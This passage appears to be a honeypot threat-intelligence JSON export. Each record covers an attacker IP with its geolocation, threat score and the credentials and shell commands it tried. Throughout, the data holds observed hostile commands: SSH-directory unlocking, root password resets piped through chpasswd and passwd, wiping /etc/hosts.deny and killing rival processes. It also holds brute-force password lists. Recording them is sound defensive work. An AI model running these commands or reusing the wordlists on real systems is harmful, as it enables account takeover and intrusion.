        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"ganesh\\nIYMMhr1Yscc3\\nIYMMhr1Yscc3\\n\"|passwd",
        "echo \"sonar\\nwQMOf9ZcHmVJ\\nwQMOf9ZcHmVJ\\n\"|passwd",
        "echo -e \"ganesh\\nIYMMhr1Yscc3\\nIYMMhr1Yscc3\"|passwd|bash",
        "echo -e \"sonar\\nwQMOf9ZcHmVJ\\nwQMOf9ZcHmVJ\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 25.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 299,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T02:07:25.754000+00:00",
        "last_seen_30d": "2026-05-21T02:39:56.030000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 243,
        "Suricata": 56
      }
    },
    "150.109.10.177": {
      "attack_count": 236,
      "first_seen": "2026-05-17T17:20:03.517Z",
      "last_seen": "2026-05-17T17:50:15.435Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "113",
        "4r3e2w1q",
        "8675309",
        "QAZ!@#123",
        "ZXCasdQWE",
        "amir123",
        "anders",
        "boston",
        "canada",
        "costas",
        "damian01",
        "elevator",
        "gerbera",
        "httpfs",
        "huawei123",
        "oracleadmin",
        "password@1",
        "qwer1234%^"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:HmUEcZv8oZtT\"|chpasswd|bash",
        "echo \"root:Rq0gAB6nGz2r\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 20.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 290,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T17:20:03.517000+00:00",
        "last_seen_30d": "2026-05-17T17:51:15.565000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 54
      }
    },
    "57.129.139.253": {
      "attack_count": 218,
      "first_seen": "2026-05-04T16:27:01.543Z",
      "last_seen": "2026-05-04T16:58:34.643Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "345gs5662d34",
        "ali",
        "dev",
        "docker",
        "oracle",
        "postgres",
        "test",
        "ubuntu"
      ],
      "passwords_attempted": [
        "!@#$%^",
        "123123",
        "12345",
        "1qaz2wsx",
        "314159",
        "3245gs5662d34",
        "345gs5662d34",
        "445566",
        "6yhn5tgb4rfv",
        "Aa12345!@#",
        "Abcd2018",
        "Admin.123",
        "Admin123*",
        "Fi123456",
        "Lm123456!",
        "QWERasdf1234",
        "QWEasd!@#",
        "Qwer!1234",
        "Zz123456.",
        "admin!123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:nhqbaw41IbyY\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Bexley",
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 3.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 288,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T16:27:01.543000+00:00",
        "last_seen_30d": "2026-05-04T16:59:37.629000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 218,
        "Suricata": 70
      }
    },
    "172.174.5.146": {
      "attack_count": 213,
      "first_seen": "2026-05-23T13:22:34.319Z",
      "last_seen": "2026-05-23T14:29:27.275Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "sysadmin",
        "345gs5662d34",
        "deployer",
        "ftpuser",
        "root",
        "admin",
        "andrew",
        "asag",
        "dev",
        "mamad",
        "marketing",
        "testi",
        "user"
      ],
      "passwords_attempted": [
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "123123",
        "12345678",
        "1234567m",
        "P@ssw0rd",
        "Password1",
        "andrew",
        "asag123",
        "ftp123",
        "letmein123",
        "mamad",
        "marketing",
        "qwerty123!",
        "testi"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123123\\nNCowI2hlB9IB\\nNCowI2hlB9IB\\n\"|passwd",
        "echo \"12345678\\n0vXnoOfZ9jYA\\n0vXnoOfZ9jYA\\n\"|passwd",
        "echo -e \"123123\\nNCowI2hlB9IB\\nNCowI2hlB9IB\"|passwd|bash",
        "echo -e \"12345678\\n0vXnoOfZ9jYA\\n0vXnoOfZ9jYA\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 27.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 257,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T13:22:34.319000+00:00",
        "last_seen_30d": "2026-05-23T14:30:27.624000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 213,
        "Suricata": 44
      }
    },
    "160.251.233.37": {
      "attack_count": 212,
      "first_seen": "2026-05-30T09:37:19.529Z",
      "last_seen": "2026-05-30T10:02:55.014Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "user1",
        "abhishek",
        "chrism",
        "ftpuser",
        "iot",
        "mohsen"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "@qwer2025",
        "Admin@234",
        "Fu123456",
        "Welcome1",
        "ZAQ!2wsxCDE#4rfv",
        "abhishek",
        "chrism",
        "infinity@123",
        "qaz12345@",
        "redhat@123",
        "test",
        "testroot",
        "user123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:SzfiDN0UTaJD\"|chpasswd|bash",
        "echo \"user123\\nWBlp0f6KOPBu\\nWBlp0f6KOPBu\\n\"|passwd",
        "echo -e \"user123\\nWBlp0f6KOPBu\\nWBlp0f6KOPBu\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": null,
      "asn": 58791,
      "as_org": "GMO Internet Group, Inc.",
      "threat_score": 35.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 255,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T09:37:19.529000+00:00",
        "last_seen_30d": "2026-05-30T10:04:00.582000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 212,
        "Suricata": 43
      }
    },
    "106.59.0.253": {
      "attack_count": 192,
      "first_seen": "2026-05-20T18:29:55.368Z",
      "last_seen": "2026-05-21T06:29:36.733Z",
      "sessions": 96,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 25.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.6,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T18:29:55.368000+00:00",
        "last_seen_30d": "2026-05-21T06:30:42.918000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 192,
        "Suricata": 97
      }
    },
    "136.232.11.10": {
      "attack_count": 178,
      "first_seen": "2026-05-21T23:01:08.410Z",
      "last_seen": "2026-05-22T13:09:44.151Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "test1",
        "345gs5662d34",
        "ftpuser",
        "git",
        "odoo17",
        "suporte",
        "ts3"
      ],
      "passwords_attempted": [
        "123123",
        "1234",
        "345gs5662d34",
        "Pass1234",
        "Xq123456.",
        "admin",
        "ftpuser123",
        "karachi",
        "qwe123qwe",
        "suporte123",
        "test@123",
        "ts3pass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"1234\\nydUCCqpX7JNq\\nydUCCqpX7JNq\\n\"|passwd",
        "echo \"test@123\\ndVm60WoOfgTU\\ndVm60WoOfgTU\\n\"|passwd",
        "echo -e \"1234\\nydUCCqpX7JNq\\nydUCCqpX7JNq\"|passwd|bash",
        "echo -e \"test@123\\ndVm60WoOfgTU\\ndVm60WoOfgTU\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 55836,
      "as_org": "Reliance Jio Infocomm Limited",
      "threat_score": 25.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.3,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 213,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T23:01:08.410000+00:00",
        "last_seen_30d": "2026-05-22T13:10:49.578000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 178,
        "Suricata": 35
      }
    },
    "43.153.60.186": {
      "attack_count": 177,
      "first_seen": "2026-05-20T04:32:30.157Z",
      "last_seen": "2026-05-20T04:57:48.316Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!%&(!%&(",
        "!Q2w3e4r",
        "1988",
        "7",
        "Adm123",
        "Cannot",
        "K0nig!321",
        "alex1234",
        "aoeduo",
        "chentao",
        "claude",
        "desibaba",
        "doug",
        "jaguar",
        "merlin99",
        "n00dle",
        "root@123123",
        "session"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 23.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 240,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T04:32:30.157000+00:00",
        "last_seen_30d": "2026-05-20T04:58:57.902000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 177,
        "Suricata": 63
      }
    },
    "69.76.244.169": {
      "attack_count": 174,
      "first_seen": "2026-05-13T19:09:09.587Z",
      "last_seen": "2026-05-13T19:47:48.791Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root",
        "oguz",
        "345gs5662d34",
        "alex",
        "caja01",
        "cc",
        "confluence",
        "egmzkeaq",
        "guest",
        "mailtest",
        "r00t",
        "server",
        "test",
        "testuser",
        "toto",
        "user1"
      ],
      "passwords_attempted": [
        "000000",
        "123",
        "123321",
        "12345",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "A@0599343813A@0599343813A@0599343813",
        "ABCabc123@",
        "Admin2022",
        "Admin@123",
        "PAssw0rd",
        "Wn123456",
        "Zz123456@",
        "cguD9AaqJ6jN",
        "confluence",
        "guest2026",
        "mailtest",
        "oguz",
        "r00t@"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"oguz\\nX6tagkIUS9p9\\nX6tagkIUS9p9\\n\"|passwd",
        "echo -e \"oguz\\nX6tagkIUS9p9\\nX6tagkIUS9p9\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Kansas City",
      "asn": 11427,
      "as_org": "Charter Communications Inc",
      "threat_score": 14.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 227,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T19:09:09.587000+00:00",
        "last_seen_30d": "2026-05-13T19:48:55.530000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 174,
        "Suricata": 53
      }
    },
    "103.70.40.36": {
      "attack_count": 173,
      "first_seen": "2026-05-20T10:51:50.574Z",
      "last_seen": "2026-05-20T11:25:45.598Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude"
      ],
      "passwords_attempted": [
        "123654789",
        "123qweASDzxc",
        "147147147",
        "2019",
        "3245gs5662d34",
        "345gs5662d34",
        "7hur@y@t3am$#@!(*(",
        "Asdf@1234",
        "Asdfgh@123",
        "Centos_123",
        "Server@12",
        "alpha123",
        "cisco",
        "claude",
        "customer123",
        "defiant",
        "franci",
        "indigo",
        "jay",
        "rosebud"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:r41H8vGGJCkm\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Delhi",
      "asn": 135258,
      "as_org": "Sdh Network Pvt Ltd",
      "threat_score": 23.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 225,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T10:51:50.574000+00:00",
        "last_seen_30d": "2026-05-20T11:26:47.421000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 173,
        "Suricata": 52
      }
    },
    "114.220.209.54": {
      "attack_count": 172,
      "first_seen": "2026-05-22T10:13:17.430Z",
      "last_seen": "2026-05-22T20:07:50.208Z",
      "sessions": 86,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 25.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 264,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T10:13:17.430000+00:00",
        "last_seen_30d": "2026-05-22T20:08:59.298000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 172,
        "Suricata": 92
      }
    },
    "23.147.120.118": {
      "attack_count": 147,
      "first_seen": "2026-05-20T21:17:07.806Z",
      "last_seen": "2026-05-20T22:25:27.427Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "root",
        "bot",
        "csgoserver",
        "jira",
        "opensips",
        "sammy",
        "srinivas",
        "system",
        "tom",
        "work",
        "yclin"
      ],
      "passwords_attempted": [
        "1234",
        "1",
        "12345678",
        "123asd!@#",
        "123qweQWE",
        "159753",
        "1qaz@WSX",
        "2wsx@WSX",
        "LeitboGi0ro",
        "Passwd@1234",
        "Root1234!@#",
        "csgo",
        "opensips",
        "srinivas",
        "tom123",
        "yclin"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:8iHO9oNt3std\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.log.closed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "El Segundo",
      "asn": 54286,
      "as_org": "TAIPEI101 NETWORK LLC",
      "threat_score": 22.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 193,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T21:17:07.806000+00:00",
        "last_seen_30d": "2026-05-20T22:26:32.292000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 147,
        "Suricata": 46
      }
    },
    "14.139.219.246": {
      "attack_count": 144,
      "first_seen": "2026-05-23T02:00:09.458Z",
      "last_seen": "2026-05-23T03:04:27.179Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "pankaj",
        "345gs5662d34",
        "demon",
        "devuser",
        "lyt",
        "satis",
        "steam",
        "su",
        "ts3",
        "user",
        "vnc"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "123123",
        "1234",
        "12345",
        "123654",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa123123.",
        "a",
        "demon",
        "lihao023..",
        "lyt",
        "qweasdzxc123.",
        "sa@123456",
        "test12"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"123456\\nDpf4lrVkNjHk\\nDpf4lrVkNjHk\\n\"|passwd",
        "echo -e \"123456\\nDpf4lrVkNjHk\\nDpf4lrVkNjHk\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Kolkata",
      "asn": 55824,
      "as_org": "NKN Core Network",
      "threat_score": 26.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 186,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T02:00:09.458000+00:00",
        "last_seen_30d": "2026-05-23T03:05:32.967000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 144,
        "Suricata": 42
      }
    },
    "171.244.201.80": {
      "attack_count": 143,
      "first_seen": "2026-05-31T01:19:28.440Z",
      "last_seen": "2026-05-31T01:49:47.975Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "clawd",
        "desktop",
        "harry",
        "jerry",
        "nino",
        "testadmin",
        "ts3server",
        "ubuntu"
      ],
      "passwords_attempted": [
        "123456",
        "!QAZ2wsx2020",
        "123",
        "1q2w!Q@W",
        "1qaz@2WSX",
        "3245gs5662d34",
        "345gs5662d34",
        "Admin2024!@#",
        "Password123",
        "Server2026!",
        "asdf.1234",
